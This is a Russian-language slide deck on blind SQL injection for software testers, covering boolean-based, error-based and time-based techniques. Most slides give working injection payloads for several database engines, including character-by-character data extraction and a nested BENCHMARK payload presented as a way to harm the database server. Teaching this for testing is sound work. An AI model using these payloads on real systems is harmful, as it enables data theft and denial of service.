Слепые SQL инъекции.
Игорь Бондаренко. Neklo.
Архитектура уязвимости
Blind SQL Injection
Classical Injection
Error Based Injection
Double Blind Ijection
1/16
Условия возникновения
уязвимости
•
Результат выполнения внедренного запроса не отображается
среди данных доступных пользователю
•
Внедренный запрос попадает в несколько разных запросов,
осуществляющих выборку из таблиц с различным числом
столбцов
•
Используется фильтрация склеивания запросов
2/16
Classical Injection
Вывод информации на экран:
Невозможен
Способ обнаружения:
Посимвольный перебор
site.com/index.php?id=2
Select title, page
From Pages
Where Pages.id = 2;
3/16
Обнаружение уязвимости
site.com/index.php?id=2’ AND
‘1’ = ‘1’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=1;
site.com/index.php?id=2’ AND
‘1’=‘2’—
Select title, page
From Pages
Where Pages.id = 2
AND 1=2;
4/16
Эксплуатация уязвимости
site.com/index.php?id=2’ AND
USER_NAME() =
‘Admin‘
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name
FROM sysobjects WHERE xtype='U'), 1, 1))) >
109
5/16
Тестирование
1.
Проверка корректной обработки истинных и ложных
запросов
2.
Проверка со значениями подобранными для
существующих пользователей и имен таблиц
6/16
Error Based Injection
Вывод информации на экран:
В сообщениях об
ошибках
Способ обнаружения:
Использование готовых техник
для конкретных баз данных
7/16
Способ обнаружения
site.com/index.php?id=2’
OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет
ошибку:
Duplicate entry '5.0.45' for key 1
8/16
Запросы для других баз
данных
•
PostgreSQL:
site.com/index.php?id=1
and(1)=cast(version() as numeric)—
•
MSSQL:
site.com/index.php?id=1
and(1)=convert(int,@@version)—
•
Sybase:
site.com/index.php?id=1
and(1)=convert(int,@@version)—
•
Oracle:
site.com/index.php?id=1
and(1)=(select
upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
9/16
Тестирование
1.
Определение версии и типа поддерживаемой БД
2.
Использование готовых эксплоитов для
определенной БД
10/16
Double Blind Injections
Вывод информации на экран:
Отсутствует
Способ обнаружения:
Посимвольный перебор с
использованием временных задержек
11/16
Техники эксплуатации
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ AND
ascii(lower(substring((SELECT TOP 1 name FROM
sysobjects WHERE xtype='U'), 1, 1))) > 109
, 1,
BENCHMARK(2999999,MD5(NOW())))
Способ навредить серверу БД:
site.com/index.php?id=2’ AND
BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
12/16
Техники эксплуатации
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’
OR id=
IF(ASCII(SUBSTRING((SELECT USER()), 1,
1)))>=100, 1, BENCHMARK(2999999,MD5(NOW())))
–
Способ навредить серверу БД:
site.com/index.php?id=2’ AND
BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
13/16
Тестирование
1.
Проверка отсутствия временных задержек
при выполнении истинных и ложных запросов
2.
Подбор приемлемого времени отклика
3.
Проверка со значениями подобранными для
существующих пользователей и имен таблиц
14/16
Программы для поиска
уязвимостей
1.
SQLMap
2.
Blind SQL Injector Tool
3.
WebInspect
15/16
Заключение
1.
Проверки слепых инъекций значительно
повысят качество ваших тестов
2.
Тесты быстрые и простые
3.
Тесты можно не проводить вручную
16/16
Вопросы
Email
:
bondarenko.ihar@yandex.ru
Skype
: igor.bondarenko1
Слепые SQL инъекции. Достаточно ли хороши ваши тесты?